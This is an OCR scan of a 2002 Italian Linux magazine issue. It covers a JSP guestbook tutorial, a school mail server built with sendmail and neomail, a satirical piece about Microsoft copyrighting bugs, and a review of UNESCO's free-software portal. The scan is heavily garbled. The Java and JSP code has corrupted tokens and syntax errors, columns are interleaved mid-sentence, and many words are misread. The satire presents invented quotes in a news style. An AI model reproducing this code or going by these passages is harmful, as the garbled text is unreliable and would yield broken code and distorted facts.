esaurire nel poco spazio 
che abbiamo a 
disposizione. 

Ecco il codice del bean. 


import java.util.* ; 


public class GuestBookBean 
implements Serializable 
{ 
private Vector guestbook; 
public GuestBookBean() 
{ 
guestbook = new 
Vector); 
} 
public syncehronized void 
addMessage(String 
msg,String email) 
{ 
guestbook.add(new 
Message(msg, email)); 


} 


public synchronized Vector 
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getGuestBook) 
{ 
return (Vector) 
this. guestbook.clone(); 


public class Message 
implements Serializable 
{ 
private String msg; 
private String email; 
public Message(String 
msg, String email) 
{ 
this.msg = msg; 
this.email = email; 
} 


public String getMessage0) 
{ 

return this.msg 
} 


public String getEmail) 
{ 

return this.email 
} 


} 


Ora vediamo la pagina 
per l'inserimento di un 
nuovo messaggio nel 
guestbook: 


<%@ page language="java" 
contentType="text/html”" %> 


<html> 
<head> 
<title> Pagina di inserimento 


nuovo messaggio </title> 
</head> 


<body> 
<h1> Inserisci il tuo 
messaggio </h1> 
<form method="post” 
action="guestbook.jsp"> 
e-mail<input type="text" 
name="email”><br> 
messaggio <input type= 
"text" name= "messaggio”> 
<br> 
<input type="submit"> 
</form> 
</body> 


</html> 


Ecco la pagina guest- 
book.jsp: 


<%@ page language="java”" 
contentType="text/html” 
%> 

<%@ page import= 

"java.util.*” %> 
<jsp:useBean id="guestbook” 
class="GuestBookBean” 
scope="application” /> 


<html> 

<head> 

<title> Benvenuto nel 
GuestBook </title> 

</head> 


<body> 
<h1> Ecco il GuestBook 
</h1> 
<l-- inseriamo il messaggio --> 
<% 
guestbook.addMessage( 
request.getAttribute( 
“message"), 
request. getAttribute( 
“email”) 
di 
%> 


<|-- visualizziamo i messaggi 
precedenti contenuti nel 


guestbook --> 
<table> 
<|-- riga di intestazione della 
tabella --> 
<tr> 
<th>email</th><th> 
messaggio</th> 
</tr> 
<% 
Vector tmp = guestbook. 
getGuestBook(); 


Enumeration e = 
tmp.elements(); 


// nel ciclo while generiamo 
le righe della tabella 

// che contengono l'e-mail 
dell’autore ed il suo 

// messaggio 

while(e.hasMoreFlements()) 

{ 

Message msg = (Message) 


e.nextElement(); 
%> 
<tr> 
<td><%= msg.getEmailO 
%></td> 
<td><%= msg.getMessage() 
YW></td> 
</tr> 
<% |} %> 
</table> 


</body> 
</html> 


Nonostante le ovvie 
semplificazioni del caso, 
abbiamo ottenuto una 
interessante 
applicazione web 
facilmente estendibile 
ed, eventualmente, 
ampliabile con poche 
righe di codice. Si 
potrebbe, ad esempio, 
pensare di utilizzare 
come contenitore dei 
dati un file di testo o, 
anche, un semplice 
database. 


Conclusioni 


Nei prossimi articoli ci 
spingeremo sempre più 
avanti nella conoscenza 
delle tecnologie java 
server-side. 
Ad esempio vedremo 
come una interazione 
fra pagine JSP e Servlet 
aumenti in modo 
considerevole la 
riusabilità e la 
robustezza del codice. 
Svilupperemo, inoltre, 
applicazioni n-tier che 
utilizzano la persistenza 
dei dati tramite l'API 
java per l'accesso ai 
Database (JDBC). 
Infine, forti delle nuove 
conoscenze acquisite, 
svilupperemo una 
semplice libreria di tag. 
Giuseppe Tradigo 
Antonio Pace 
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Linux nella didattica: 


cè posta ... 


x 


per tutti! 


E importante che il software libero entri nelle 
scuole italiane. Linux Magazine ci crede 
profondamente. Questo spazio, dedicato 
all'argomento, è il nostro piccolo contributo. 


uesto mese 
per la prima 
volta nello 
spazio 
dedicato a GNU/Linux 
nella didattica, 
abbandonerò l'Istituto 
"Besta" di Treviso per 
parlare di una 
esperienza svolta in 
un'altra scuola della 
stessa città, il Liceo 
Tecnico "Palladio", dove 


Collaborate anche voi scrivendoci a 


limuxmag@edmaster.it. 


dall'anno scorso svolgo 
la mia attività di 
insegnante. 

In particolare cercherò 
di illustrare come è 
stato possibile, in modo 
relativamente semplice, 
installare un server di 
posta su piattaforma 
Linux dando la 
possibilità agli utenti di 
gestire la propria casella 
con interfaccia Web. 


La situazione 
iniziale: nessuna 
traccia di ‘pinguini’! 


Il livello di 
informatizzazione 
dell'Istituto Palladio è 
senz'altro molto elevato, 
sicuramente al di sopra 
della media di altre 
scuole superiori: ci sono 


quasi 150 Personal 
Computer collegati in 
rete, qualche decina di 
stampanti, 4 server NT 
fra cui 1 PDC, 1 Web 
Server per Intenet e 
Intranet, Proxy Server, 
dominio registrato 
"www.palladio-tv.it", 
doppia linea ADSL e 5 
numeri IP statici a 
disposizione. 

Nella scuola viene fatto 
un consistente uso di 
strumenti informatici sia 
per la didattica sia per la 
gestione e 
l'amministrazione. 

Di Linux o di software 
libero o Open Source, 
però, nessuna traccia, 
almeno fino a qualche 
mese fa quando ho 
iniziato ad installare la 
RedHat 7.1 nelle 
macchine di uno dei 
laboratori (in dual-boot 
con Windows). Si è così 
venuta a creare un rete 
"parallela" più piccola di 
quella esistente, ed è 
stato approntato un 
ulteriore server (un 
Pentium III 933 con 5712 
Mb di Ram, HD da 30 
Gb e doppia scheda di 
rete), ovviamente su 
piattaforma Linux, 
ancora con RedHat 7.1 
come distribuzione. 

| servizi inizialmente 
attivati su tale server 
sono stati: Samba, per 
la condivisione di 
risorse con le macchine 
Windows, NI/S e NFS, 
per la centralizzazione 
della gestione utenti e 
dello spazio “home”, 
prassi che permette di 
avere numerosi 
vantaggi come illustrato 
in precedenti articoli di 
questa rubrica (si veda 
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all'URL: 
www.linuxdidattica.org/I 
inuxmagazine). Non ho 
invece attivato il DNS in 
quanto ho preferito 
gestire la risoluzione dei 
nomi tramite il file 
/etc/hosts anch'esso 
condiviso con il N/S. 
Grazie alla doppia 
scheda, una affacciata 
sulla rete interna ed una 
verso l'esterno, la 
macchina svolge il ruolo 
di gateway e con 
opportuni comandi di 
mascheramento definiti 
con ipchains, permette 
di condividere l'accesso 
ad Internet con gli altri 
Personal Computer della 
rete Linux. 

Il passo successivo è 
stato quello di pensare 
di attivare un server di 
posta su Linux, visto e 
considerato che questo 
servizio non era 
presente nella rete 
dell'Istituto. 

Fra le alternative 
possibili ho preferito 
optare per la scelta 
forse più banale e cioè 
su sendmail in quanto è 
un software collaudato, 
ben documentato, 
presente in tutte le 
distribuzioni e sul quale 
avevo un minimo di 
esperienza derivante dal 
laboratorio dell'Istituto 
Besta (oltre che dai 
consigli e dagli appunti 
di Umberto Zanatta, 
www.linuxdidattica.org/ 
docs/linuxdidattica/ld.html). 
Riguardo ai client di 
posta da utilizzare ho 
raccolto il suggerimento 
dei colleghi Pintacuda e 
Cesaroni (responsabili 
delle strutture 
informatiche 
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dell'Istituto) che hanno 
sconsigliato l'uso di 
programmi tradizionali 
anche semplici, come 
Outlook Express a 
favore di una soluzione 
basata sul Web che 
potesse risultare di 
utilizzo banale anche da 
utenti molto inesperti e 
che permettesse la 
gestione dei messaggi 
sia utilizzando le 
macchine della rete 
scolastica sia 
collegandosi da casa. 


17.57.76.242/cgi-bin/neomail.pl 


configurazione di 
sendmail. 


Configurazione 
del server di posta 


AI server Linux, o 
meglio ad una delle sue 
schede di rete, è stato 
assegnato uno dei 
numeri IP statici a 
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"“andrealinux.palladio". 
Naturalmente gli 
indirizzi di posta 
utilizzati dagli utenti 
della scuola sono della 
forma pippo@palladio- 
tv.it. Non è questa la 
sede per parlare 
diffusamente della 
configurazione di 
sendmail, ritengo però 
opportuno almeno 
ricordare che questa si 
effettua intervenendo 
sul file /etc/sendmail.mc 
e che tale file deve 
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Figura Ù 


Schermata di login di Neonmail. 


In questo ambito, dopo 
qualche ricerca, ho 
individuato in neomail 
(http://neomail.sourcefor 
ge.net) il software più 
adatto allo scopo. 

Ma procediamo con 
ordine iniziando dalla 


disposizione della 
scuola, a sua volta 
associato presso 
"register.it" al nome del 
server di posta 
"mail.palladio-tv.it". Il 
nome "interno" del 
server è invece 


essere poi processato 
con il comando: 


m4 /etc/mail/ 
sendmail.mc >/etc/ 


sendmail.cf 


per ottenere il "vero" file 


di configurazione 
sendmail.cf. 
Naturalmente, affinché 
le modifiche abbiano 
effetto, occorre eseguire 
lo start o il restart del 
servizio sendmail. 

Ecco alcune righe 
aggiunte o variate in 
sendmail.mc rispetto alla 
versione di default 
fornita nella 
distribuzione Red Hat: 


e FEATURE 
(‘genericstable‘,’ hash 
-o /etc/mail/generic- 
stable') 
permette di cambiare 
gli indirizzi di posta 
secondo quanto 
indicato nel file 
/etc/mail/genericstable 
(vedi sotto). 


e GENERICS_ 
DOMAIN (palladio- 
tv.it) 
nome del dominio 
interessato alla 
modifica specificata 
nel file genericstable. 


e FEATURE 
((access_db') 
usa quanto indicato 
nel file 
/Jetc/mail/access (vedi 
sotto) per conoscere 
per quali host è 
ammesso l'inoltro dei 
messaggi. 


e FEATURE 
(always_add_domain) 
per aggiungere il 
nome di dominio 
anche alla posta 
locale. 


e FEATURE 
(allmasquerade) 
per mascherare tutto 
l'indirizzo e non solo 


il dominio. 


e FEATURE (masque- 
rade_envelope) 
per mascherare tutti i 
campi del messaggio 
e non solo la testata. 


e MASQUERADE AS 
(palladio-tv.it) 
Permette mascherare 
il nome di dominio 
interno con quello 
effettivo; nel nostro 
caso il dominio è 
palladio-tv.it e non 
quello locale palladio. 


e MASQUERADE_ 
DOMAIN (palladio) 
Indica quale è il 
dominio da 
mascherare. 


Altra modifica 
importante consiste nel 
commentare con un dnl 
iniziale la linea 


e DAEMON_ OPTIONS 
(Port=smtp,Addr=127 
.0.0.1, Name=MTA') 
in modo che 
sendmail sia in 
ascolto su tutte le 
interfacce di rete e 
non solo su quella di 
loopback. 


Sono poi intervenuto sui 
seguenti file: 


e File Righe aggiunte 


e /etc/mail/access 
palladio RELAY 


e /etc/mail/local-host- 
name palladio-tv.it 


e mail.palladio-tv.it 
Occorre ricordare di 
eseguire make in 
/etc/mail per creare i file 
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di mappa (.db) associati 
ai file di testo modificati. 
Un discorso a parte 
meritano i file 
/etc/mail/genericstable e 
/etc/ aliases usati per 
permettere agli utenti di 
scegliere un nome per la 
posta diverso dal nome 
utente; ad esempio si 
può fare in modo che 
l'utente linux topolino 
invii e riceva la posta 
con indirizzo 
paolino.paperino. 
Questo si ottiene aggiun- 
gendo in /etc/mail/ 
genericstable la riga: 


topolino paolino.paperino 
e in /etc/aliases la riga: 
paolino.paperino topolino 
ricordandosi poi di 


eseguire il comando 
newaliases. 


Configurazione 
ed uso di neomail- 


Neomail è un client 
webmail, che si 
appoggia ad un server di 
posta sendmail, scritto 
in perl veramente molto 
facile da usare, 
gradevole a livello di 
interfaccia e distribuito 
sotto GPL. La sua 
installazione non 
comporta grosse 
difficoltà: occorre 
installare una versione 
di CGI.pm maggiore o 
uguale a 2.72, quindi 
estrarre il contenuto del 
file neomail-x-yy.tar.gz 


(x-yy è la versione), ed 
eseguire quanto 
specificato nel file 
INSTALL. 

Ovviamente devono 
essere installati il perl ed 
il supporto CGI di 
apache. In presenza della 
distribuzione RedHat 7.2 
occorre, prima di 
installare neomail, 
eseguire il comando: 


perl -MCPAN -e ‘install 
MDS' 


in quanto questa 
distribuzione non ha 
l'MD5.pm installato. 
Come si legge nelle 
istruzioni "l'eseguibile" 
neomail.pl viene 
posizionato nella 
directory cgi-bin del 
proprio server web; ecco 
quindi che nella 
macchina “andrealinux" 
ho attivato anche il 
server apache 
(unicamente a questo 
scopo, almeno per il 
momento). 

Infine nella home-page 
del sito del Palladio è 
stato aggiunto un link ad 
andrealinux.palladio/cgi- 
bin/neomail.pl attivando 
il quale si accede alla 
schermata di login di 
neomail (Figura1). 
Ovviamente il login e la 
password sono quelli di 
un utente riconosciuto 
dal server andrealinux; 
al primo accesso 
vengono richiesti alcuni 
parametri di 
configurazione della 
casella di posta gestita 
da neomail (nome e 
cognome, lingua, testo 
di "firma", indirizzo per 
le risposte ecc.). 

Nella schermata è 
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indicato anche l'indirizzo 
di posta che sembra 
appartenere al dominio 
andrealinux.palladio; non 
è un errore, 
semplicemente neomail 
"non sa" che il dominio 
verrà mascherato con 
palladio-tv.it. Una volta 
fatte le impostazioni si 
accede alla schermata di 
gestione della posta in 
arrivo (Figura 2). 
L'utente ha a 
disposizione le cartelle: 
INVIATI, SALVATI, 
ARRIVATI, CESTINO ma 
può definirne altre a 
piacere. 

All'entrata ci si trova 
posizionati nella cartella 
ARRIVATI ma con la 
casella di scelta presente 
in alto a sinistra ci si può 
posizionare in una delle 
altre cartelle. 

Anche lo spostamento 
dei messaggi è molto 
semplice: basta 
selezionarli, scegliere la 
destinazione sulla casella 
in alto a destra e cliccare 
sul tasto sposta. 

Le icone disposte subito 
sotto l'intestazione 
permettono di svolgere 
tutte le funzioni standard 
di gestione di una casella 
di posta (compresa la 
memorizzazione di 
indirizzi in una rubrica 
personale) in modo 
davvero banale a prova 
di "inesperto". 
Ovviamente è prevista la 
gestione degli allegati 
con browsing delle 
cartelle locali. 

Per quanto riguarda la 
collocazione fisica dei 
messaggi di posta è 
importante notare che 
questi risiedono nella 
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directory /var/neomail/ 
users/nomeutente e non 
nella home dell'utente. 


Conclusioni 


Da quanto illustrato 
credo che emerga la 
relativa semplicità 
dell'installazione di un 
server di posta con 
interfaccia gradevole e 
facile da usare basato 
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didatticamente) questo 
strumento. Per il 
momento si è deciso di 
offrire la casella di posta 
con uso del tutto libero, 
a chi fra insegnanti, 
assistenti, ATA, studenti 
ne facesse richiesta; in 
futuro si pensa ad 
applicazioni per l'help 
agli studenti oltre che 
all'uso per le 
esercitazioni nei moduli 
di "tecnologie 
dell'informazione e della 
comunicazione" che 
trattano di posta 


che per questioni inerenti 
la scuola; molto più 
tiepida (per non dire 
fredda) è stata invece 
l'accoglienza da parte 
degli studenti. 
Evidentemente è sempre 
vero che i ragazzi 
diffidano di tutto ciò che 
"odora" di scuola e 
sicuramente hanno 
difficoltà a cogliere in 
modo autonomo il valore 
di certi strumenti. Senza 
dubbio è necessario dare 
loro una preparazione 
adeguata, anche teorica, 
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La gestione della posta in arrivo. 


interamente su 
piattaforma software 
libera e gratuita. Molto 
più difficile invece è stato 
rispondere alla domanda 
sul come usare in modo 
utile (anche 


elettronica. 

Fra i docenti ed il 
personale ATA l'iniziativa 
ha avuto un discreto 
successo e molti usano 
la nuova casella di posta 
sia per motivi personali 


primo dell'uso delle 

tecnologie, in modo che 

questo sia il più possibile 

consapevole e finalizzato 

alla loro crescita 

culturale e personale. 
Fulvio Ferroni 


L’' an go lo 


Ridi, 


d e ll o h u m o rssss 


è divertente... 


Non è un bug, è una denuncia! 


Come se ne avesse bisogno, con una mossa da 
maestro Microsoft è risoluta a far apporre a tutti i bug 
di Windows il diritto d'autore sostenendo che ogni 
errore di programmazione è coperto da copyright. 

Lo Squadrone C della speciale unità Microsoft 
Commando da Ventiquattrore ha già sparato una 
quantità di denunce contro le aziende rivali. 


"I sistemi Macintosh contengono dei bug che 
causano il blocco di sistema", ha spiegato un 
portavoce del gigante di Seattle, "esattamente come 
Windows. Comunque i nostri bugs sono protetti da 
copyright e brevetti. Noi siamo i primi ad innovare il 
campo della produzione dei sistemi operativi basati 
su bug e fondati sui crash. 

pple sta violando una nostra diretta proprietà in 
modo chiaro e semplice!" 


Chiaro e semplice sembra solo l'ipoteca che Microsoft 


vuole mettere su tutti i sistemi operativi trovando 
un modo per far pagare tutti per i propri sbagli. 


La nuova strategia legale ha però un obiettivo 
certo: Linux. Un anonimo collaboratore di 
Microsoft ci ha informato 

che il prossimo passo 

degli avvocati di Bill 

Gates è sostenere che i 

kernel panic di Linux 

sono sostanzialmente 

della stessa natura dei famigerati Blue 


Screen of Death di Windows. Sebbene nessuno sano 
di mente possa dare loro ragione con tutta la 
stravaganza che gira in Florida quando una cosa 
arriva in un tribunale non sai proprio come può 
andare a finire. 

Se i tribunali daranno loro ragione, i legali di 
Microsoft con questa strategia di trasformare-bugs-in- 


oro possono riuscire nella non ardua impresa di 
rendere l'uomo più ricco della terra ancora più ricco. 


"Alcuni studi recenti hanno mostrato che la 
produttività dei lavori basati sulla tecnologia sta 
rapidamente diminuendo” ha spiegato un esperto. 
"E tutto ciò a causa di Windows, naturalmente. 
Siamo pieni di tutti i tipi di bug o di problemi 
intermittenti da cui Microsoft può spillare denaro. 
Per esempio prendete la tremenda gestione 
della memoria di Windows e comparatela 
con la gestione della memoria ancora 
peggiore di Mozilla?” - e rivolto agli 
avvocati di Microsoft avanza 
l'interrogativo - 
"Potreste mai 
consigliare una 
denuncia in un caso 
così eclatante? 
Già... la sapevo che 
avreste detto di sì!" 


da Humorix (http/iwanta-website.com/about-linux) 


www.unesco.0rg/webworld/portal_freesoft 


| Portale del free software dell'UNESCO fornisce una vasta 

raccolta di link a siti che sono punto di riferimento costan- 

te per il movimento del Free Software / Open Source 

Technology. Costituisce inoltre un portale verso le risorse 
disponibili nel web sul Free Software. | visitatori del Portale 
del free software dell'UNESCO possono spaziare su categorie 
predefinite o ricercare per parola chiave. Possono aggiungere 
un proprio link o modificarne uno da loro inserito in prece- 
denza. 


Organizzazione del sito 


La home page presenta un menù laterale con poche scelte 
che rimandano alla possibilità di contattare gli autori / gesto- 
ri del sito e di venire a conoscenza delle finalità dello stesso. 
Nella fascia laterale destra è riportato 
un articolo di gradimento e di appro- 
vazione del sito da parte di Richard 
Stallman. La parte centrale della pagi- 
na è sostanzialmente divisa in due 
parti: una prima che fornisce i link alle 
risorse tecnologiche disponibili in rete 
sul free software ed una seconda, più 
compatta e limitata, ma non per que- 
sto meno significativa, che illustra i 
principi che sono alla base del movi- 
mento del software libero. 


Le risorse 
tecnologiche in Rete 


® Free Software Home 
® About 
® Contact 


® Softwaro 


® Casa Studio: 
® Onlino Bibliography 


Figura 1 
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Free Software Technology Resources 


® Gonoral Information 
Associations, Initistives, Websites 


® Dovolopor Documentation 
Developer Collections, Developer Books, Security 


Communication, Development Tools, Digital Library, Operating 
System, Productivity Tools, Science & Education 


Free Software Technology Movement 


* Froo Softwaro History 

® Froo Software Liconsos 

® Froo Softwara Dovalopment Process 
® Freo Softwaro and Businass 


Cito Linux Valley, il portale italiano delle notizie e degli artico- 
li aggiornati quotidianamente (www.linuxvalley.it), e Linux- 
didattica, il sito dedicato alla didattica con Linux (www.linux- 
didattica.org). Consiglio una visita alla pagina dei link sul 
software dedicata alla scienza e alla formazione: chi opera 
nella scuola troverà qui link a strumenti didattici bellissimi e 
validissimi, gratuiti e perfettamente alternativi a quelli ope- 
ranti sulla piattaforma Microsoft. 

Le categorie presenti in tale pagina sono: 


* intelligenza artificiale (Al) 
*. astronomia 

* chimica e biologia 

* matematica e statistica 

* fisica. 


Le pagine dei link sono co- 
struite dal portale in modo di- 
namico ma risultano efficienti 
e rapide da scaricare sul pro- 
prio computer. 


UNESCO and Free 
Software 

By Richard 
Stallman 


Free software 
faces difficult 


| movimento del 
software libero 


Trovate qui la storia del soft- 
ware libero ed il significato 
dei tipi di licenza sul software; 
in questa parte del portale si 
chiarisce come si fa a parteci- 


challenges and 
I 


Software Portal, (© 
Richard Stallman, |» 
founder of the x 
Free Software x 
Foundation and bo 
the author of the 0) 
GNU General bai 
Public License 


software like gec ; 
and Emacs, P 


Questa parte fornisce l'accesso alle 


; Flag La h I sito. 
seguenti categorie di risorse: a RREIRE DIS 


informazioni generali: siti di associazioni, siti che pubbli- 
cizzano manifestazioni ed eventi, siti meno specifici 


documentazione per gli sviluppatori di software: collezio- 
ni, libri / manuali, temi legati alla sicurezza 


e software: comunicazioni, 
digitali, sistemi operativi, t 
mazione. 


utilità per lo sviluppo, librerie 
o0l di produttività, scienze e for- 


La raccolta di siti è amplissima, aggiornata, curata, esaurien- 
te, certamente una delle più ricche che si possano trovare in 
rete sul software libero: a seconda della categoria troverete 
sia i siti ufficiali (dal sito GNU a quello della Free Software 
Foundation), sia quelli delle distribuzioni Linux, quelli di uni- 
versità e riviste, quelli da cui fare il download del software ... 
Solo una rapida presa di visione della prima pagina di questi 
siti vi incatenerà al computer per almeno un paio di ore. Si 
tratta ovviamente per la maggior parte di siti redatti in lingua 
inglese. Alcuni sono in lingua francese. | siti redatti in italiano 
da me rintracciati a partire dal portale sono veramente pochi. 


Marzo 2002 


pare al processo di produzio- 
ne del software libero; si forni- 
sce una bibliografia e si fanno 
alcuni cenni a come sul soft- 


ware libero si possa anche creare un business. 


Redattori e responsabili 


Riprendo qui le notizie fornite dagli stessi redattori nel sito. 

Il portale è stato realizzato da più persone appartenenti al mo- 
vimento del Free Software in cooperazione con la segreteria 
UNESCO. Il mantenimento è a cura della Divisione Società 
Informatica dell'UNESCO. Alcuni membri del team di lavoro 


sono : 


*° capo redattore: Axel Plathe (a.plathe@unesco.org) 
è webmaster: Richard Cadiou (r.cadiou@unesco.org) 
» produttore: Jean-Claude Dauphin (jc.dauphin@unesco.org) 


Eventuali chiarimenti possono essere richiesti al numero di 
telefono +33.1.45.68.37.89 o di fax +33.1.45.68.55.82 o diretta- 
mente a UNESCO, Information Society Division ,7, place de 
Fontenoy, 75352 Paris 07 SP, France 

Orietta Zangiacomi 


Sei sempre in Rete, nel sito giusto 

e al momento giusto, attraverso 
tutorial, dossier, recensioni hardware 
e software, articoli di tecnica. 

Trovi sempre un nesso con i tuoi 
interessi e le tue inclinazioni. 

Allora, non aspettare, corri in edicola 
e poi go online! 
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